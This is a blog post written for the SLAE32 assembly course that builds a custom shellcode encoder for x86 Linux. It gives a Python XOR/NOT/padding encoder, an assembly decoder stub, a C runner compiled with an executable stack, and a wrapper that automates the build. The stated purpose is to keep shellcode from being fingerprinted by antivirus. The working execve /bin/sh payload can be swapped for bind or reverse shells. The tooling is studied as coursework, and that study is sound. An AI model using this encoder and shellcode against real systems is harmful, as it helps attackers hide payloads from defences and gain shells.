SLAE32 Assignment #4: Custom Encoder

In this blog post, we cover how to implement a custom shellcode encoder for x86 Linux in assembly.

This post follows on in the series of posts created for the SLAE32 certification course provided by Pentester Academy.

Overview

To prevent a shellcode payload from being fingerprinted by AV solutions, it is necessary to obfuscate its functionality.

One of the ways this can be done is through encoding the shellcode payload. The general idea behind this is to take an original shellcode, perform a given mutation on each of the bytes in order to hide what it does, and then reverse this during in-memory execution to revert each byte back to its original functionality.

Some of the more commonly-used schemes for encoding shellcode include:

XOR
ROT
base64

In XOR encoding, the encoder performs an XOR operation on each byte of shellcode using a given encoder byte or key e.g. 0xAA. When executed in memory, the decoder stub of the shellcode will then XOR each byte of the encoded shellcode with the provided key, in order to recover the original shellcode. From there, control is passed to the decoded shellcode for it to carry out its functionality.

Unsurprisingly, many of these encoding routines are well-known and fingerprinted by the majority of anti-virus engines. As such, it is beneficial to develop encoders at a low-level, where they may be highly-customised and distinguished from known variants. Assembly is just the language to achieve this aim.

Custom Encoder

In this blog post, we present a custom shellcoder encoder/decoder in Python and Assembly.

This encoder works in three layers. On a given shellcode, the encoder performs XOR encryption on each byte using a key of 0x7. This encrypted byte is then obfuscated further using NOT encoding.

To further obfuscate the shellcode, additional padding is introduced through an insertion encoder, which the byte '0xBA' between each legitimate instruction.

In this given example, the shellcode that we have chosen to encode is a simple syscall to execve() to execute the /bin/sh command and spawn a shell.

The custom encoder is written as follows:

#!/usr/bin/python3

# Python Custom Shellcode Encoder
# Shellcode is XOR encoded with a key of 0x7 and then NOT encoded
# Next, a random number between 1 and 100 is inserted to pad the shellcode

import random

shellcode = bytearray(b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

#e_shellcode = ""

def encode(shellcode):

        encoded = ""
        encoded2 = ""

        print("[*] Encoded shellcode:")

        for x in shellcode:

                rand = random.randint(1,100)
                # XOR x with 0x7
                y = x ^ 0x7
                z = ~y
                encoded += '\\x'
                encoded += '%02x' % (z & 0xff)
                # Insert random number between 1 and 100
                encoded += '\\x%02x' % 0xBA

                encoded2 += '0x'
                encoded2 += '%02x,' % (z & 0xff)
                encoded2 += '0x%02x,' % 0xBA

        return encoded, encoded2

def decode(e_shellcode):

        decoded = ""
        decoded2 = ""

        print("\n[*] Decoded shellcode:")

        for i in range(0, len(e_shellcode)):
                # XOR x with 0x7
                y = ~ e_shellcode[i] & 0xff
                z = y ^ 0x7

                # Skip every other padding byte
                if i  % 2 != 0:
                        continue

                decoded += '\\x'
                decoded += '%02x' % z

                decoded2 += '0x'
                decoded2 += '%02x,' % z

        return decoded, decoded2

def main():

        # Add a 0xbb as markers for end of encoded shellcode
        encoded, encoded2 = encode(shellcode)
        #print('\\'.join(encoded.split('\\')[:-1]) + '\\xbb')
        print(','.join(encoded2.split(',')[:-2]) + ",0xbb")

        #decoded, decoded2 = decode(e_shellcode)
        #print(decoded)
        #print(decoded2[:-1])

if __name__ == "__main__":
        main()

Custom Decoder

The custom decoder is written in assembly, and is designed to reverse the encoding procedure performed by the python encoder.

; custom-decoder.nasm
; Author: Jack McBride (PA-6483)
; Website:  https://jacklgmcbride.co.uk
;
; Purpose: SLAE32 exam assignment
;
;
; Assignment 4: Custom Encoder

global _start

section .text

_start:

        jmp short call_shellcode;               Jump to the call_shellcode label

decoder:

        pop esi;                                POP the location of our shellcode into ESI
        lea edi, [esi];                         Load the ESI register into EDI so both are pointing to the shellcode
        xor ebx, ebx;                           Clear EBX register
        xor eax, eax;                           Clear EAX register

decode:

        mov bl, byte[esi + eax];                Move byte of encoded shellcode into BL
        mov dl, bl;                             Copy byte to DL
        xor dl, 0xbb;                           Check if at end of shellcode
        jz EncodedShellcode;                    If at the end, jump to the decoded shellcode
        test al, 1;                             Check if at an odd byte (padding)
        jnz decode_loop_inc;
        not bl;                                 Perform NOT decoding on BL
        xor bl, 0x7;                            XOR BL with 0x7
        mov byte [edi], bl;                     Move decoded BL byte into EDI
        inc edi;                                Point EDI at next byte
        inc eax;                                Increment EAX by one
        jmp short decode;                       Decode next byte

decode_loop_inc:

        add al, 1;                              Increment AL by 1
        jmp short decode;                       Decode next byte

call_shellcode:

        call decoder;                           Call the decoder label
        EncodedShellcode: db 0xc9,0x54,0x38,0x07,0xa8,0x19,0x90,0x40,0xd7,0x59,0xd7,0x08,0x8b,0x0b,0x90,0x13,0x90,0x54,0xd7,0x13,0x9a,0x13,0x91,0x5d,0x96,0x06,0x71,0x36,0x1b,0x0e,0xa8,0x4b,0x71,0x47,0x1a,0x4e,0xab,0x07,0x71,0x09,0x19,0x34,0x48,0x60,0xf3,0x51,0x35,0x40,0x78,0xbb

Testing the encoder

To test the encoder, we will use it to encode a simple shellcode payload.

To begin, we generate the original shellcode which we wish to encode. This can be any chosen shellcode, but in our example case it is a call to execve() to execute /bin/sh and spawn a shell.

shellcode = bytearray(b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

Next, we paste the original shellcode into the shellcode variable of the custom_decoder.py file:

#!/usr/bin/python3

# Python Custom Shellcode Encoder
# Shellcode is XOR encoded with a key of 0x7 and then NOT encoded
# Next, a random number between 1 and 100 is inserted to pad the shellcode

import random

shellcode = bytearray(b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
...

We run custom_encoder.py, which outputs the encoded shellcode in two different formats.

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 4: Custom Encoder] python3 custom_encoder.py

[*] Encoded shellcode:
\xc9\x54\x38\x07\xa8\x19\x90\x40\xd7\x59\xd7\x08\x8b\x0b\x90\x13\x90\x54\xd7\x13\x9a\x13\x91\x5d\x96\x06\x71\x36\x1b\x0e\xa8\x4b\x71\x47\x1a\x4e\xab\x07\x71\x09\x19\x34\x48\x60\xf3\x51\x35\x40\x78\xbb
0xc9,0x54,0x38,0x07,0xa8,0x19,0x90,0x40,0xd7,0x59,0xd7,0x08,0x8b,0x0b,0x90,0x13,0x90,0x54,0xd7,0x13,0x9a,0x13,0x91,0x5d,0x96,0x06,0x71,0x36,0x1b,0x0e,0xa8,0x4b,0x71,0x47,0x1a,0x4e,0xab,0x07,0x71,0x09,0x19,0x34,0x48,0x60,0xf3,0x51,0x35,0x40,0x78,0xbb

We copy the second format (0x) and paste it into the call_shellcode section of custom_decoder.nasm:

...
call_shellcode:

        call decoder
        EncodedShellcode: db 0xc9,0x54,0x38,0x07,0xa8,0x19,0x90,0x40,0xd7,0x59,0xd7,0x08,0x8b,0x0b,0x90,0x13,0x90,0x54,0xd7,0x13,0x9a,0x13,0x91,0x5d,0x96,0x06,0x71,0x36,0x1b,0x0e,0xa8,0x4b,0x71,0x47,0x1a,0x4e,0xab,0x07,0x71,0x09,0x19,0x34,0x48,0x60,0xf3,0x51,0x35,0x40,0x78,0xbb

We use nasm and ld to compile the shellcode.

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 4: Custom Encoder]
└─# nasm -f elf32 -o custom_decoder.o custom_decoder.nasm

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 4: Custom Encoder]
└─# ld -o custom_decoder custom_decoder.o

Using objdump, we dump the bytes of the encoded shellcode:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 4: Custom Encoder]
└─# objdump -d custom_decoder |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x24\x5e\x8d\x3e\x31\xdb\x31\xc0\x8a\x1c\x06\x88\xda\x80\xf2\xbb\x74\x18\xa8\x01\x75\x0b\xf6\xd3\x80\xf3\x07\x88\x1f\x47\x40\xeb\xe7\x04\x01\xeb\xe3\xe8\xd7\xff\xff\xff\xc9\x54\x38\x07\xa8\x19\x90\x40\xd7\x59\xd7\x08\x8b\x0b\x90\x13\x90\x54\xd7\x13\x9a\x13\x91\x5d\x96\x06\x71\x36\x1b\x0e\xa8\x4b\x71\x47\x1a\x4e\xab\x07\x71\x09\x19\x34\x48\x60\xf3\x51\x35\x40\x78\xbb"

We paste the encoded shellcode into the code variable of our shellcode.c file, as defined below:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x24\x5e\x8d\x3e\x31\xdb\x31\xc0\x8a\x1c\x06\x88\xda\x80\xf2\xbb\x74\x18\xa8\x01\x75\x0b\xf6\xd3\x80\xf3\x07\x88\x1f\x47\x40\xeb\xe7\x04\x01\xeb\xe3\xe8\xd7\xff\xff\xff\xc9\x54\x38\x07\xa8\x19\x90\x40\xd7\x59\xd7\x08\x8b\x0b\x90\x13\x90\x54\xd7\x13\x9a\x13\x91\x5d\x96\x06\x71\x36\x1b\x0e\xa8\x4b\x71\x47\x1a\x4e\xab\x07\x71\x09\x19\x34\x48\x60\xf3\x51\x35\x40\x78\xbb";

int main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

We compile the shellcode.c file using gcc:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 4: Custom Encoder]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Finally, we execute the shellcode and get a /bin/sh shell. Success!

GDB Analysis

Next, we analyse how our decoder works at an instruction level using gdb.

We disassemble the &code variable where our decoder stub begins, and set a break point to it. Next, we continue execution through the program until we hit the break point:

We reach the beginning of our decoder stub, where our encoded shellcode is moved into the ESI register:

At any time during the decoding routine, we can examine the contents of the shellcode buffer as follows:

The first byte of our encoded shellcode is moved into the BL register, in preparation for being decoded:

First, the NOT operation is performed on the first shellcode byte:

Next, the byte is XORed with 0x7:

This returns the byte back to its original decoded value. The decoder loop then starts back from the beginning again.

On every subsequent run of the loop, the decoder stub has to skip past the extra byte added for padding. It does this by keeping a counter in the AL register, which, starting at 0x0 is incremented at every run of the decoding routine.

The test instruction checks whether AL is an odd number, which it is in when the current byte is padding:

In cases where AL is an odd number, the jump is taken back to the start of the decoding routine at the next shellcode byte:

To study the progression of the shellcode being decoded, we can set a breakpoint on the inc EDI instruction and modify our hook-stop to print 50 bytes from the ESI register like so:

Now, when we continue the program execution, the shellcode buffer will be printed. We note that the first byte, which was originally 0xc9, is now 0x31:

We confirm that this is in line with our original shellcode buffer:

We continue hitting this breakpoint until the entire buffer is decoded and the /bin/sh shell is executed.

The decoded shellcode works as expected. Nice!

This concludes the analysis on our custom encoder. In place of executing /bin/sh, the payload can be flexibly replaced with a TCP bind or reverse shell. More information on this implementations of this can be found in blog posts 1 & 2 in this series.

Code

In addition to the assembly and C implementations of the custom decoder example, we have implemented a Python wrapper script, custom_decoder.py to automatically generate a working demo.

To run, replace the shellcode variable in custom_encoder.py with your choice of sh, bind or reverse shell payload.

This code is as follows:

#!/usr/bin/python3
import os

def update_decoder(shellcode):

        decoder_file = open("custom_decoder.nasm", "rt")
        data = decoder_file.read()
        data = data.replace("SHELLCODE", shellcode)

        decoder_file.close()
        decoder_file = open("tmp.nasm", "wt")
        decoder_file.write(data)
        decoder_file.close()

def set_shellcode(shellcode):

        shellcode_file = open("shellcode.c", "rt")
        data = shellcode_file.read()
        data = data.replace("SHELLCODE", shellcode)

        shellcode_file.close()
        shellcode_file = open("tmp.c", "wt")
        shellcode_file.write(data)
        shellcode_file.close()

def gen_shellcode(filename):
        stream = os.popen("""objdump -d {} |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'""".format(filename))
        shellcode = stream.read().rstrip()
        shellcode = shellcode.strip('"')
        return shellcode.strip('"')

def main():

        encoded = os.popen('python3 custom_encoder.py').read().split('\n')[1].strip()

        # Insert encoded execve() payload into decoder
        update_decoder(encoded)
        os.system('nasm -f elf32 -o tmp.o tmp.nasm')
        os.system('ld -o tmp tmp.o')

        # Generate custom decoder shellcode
        shellcode = gen_shellcode('tmp')
        # Copy shellcode into shellcode.c
        set_shellcode(shellcode)

        # Compile C skeleton file
        os.system('gcc -fno-stack-protector -z execstack tmp.c -o custom_decoder')

        # Cleanup
        os.system('rm tmp*')

if __name__ == "__main__":
        main()

The Python, Assembly, and C source code for my custom encoder implementation can be found on my GitHub repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: PA-6483

All code was tested on 32-bit Kali Linux:

┌──(jack㉿kali)-[~/SLAE32/Assignment 4: Custom Encoder]
└─$ uname -a
Linux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU/Linux

In the next blog post, we will be covering an analysis of three popular MSFVenom shellcodes in assembly.

Thanks for reading!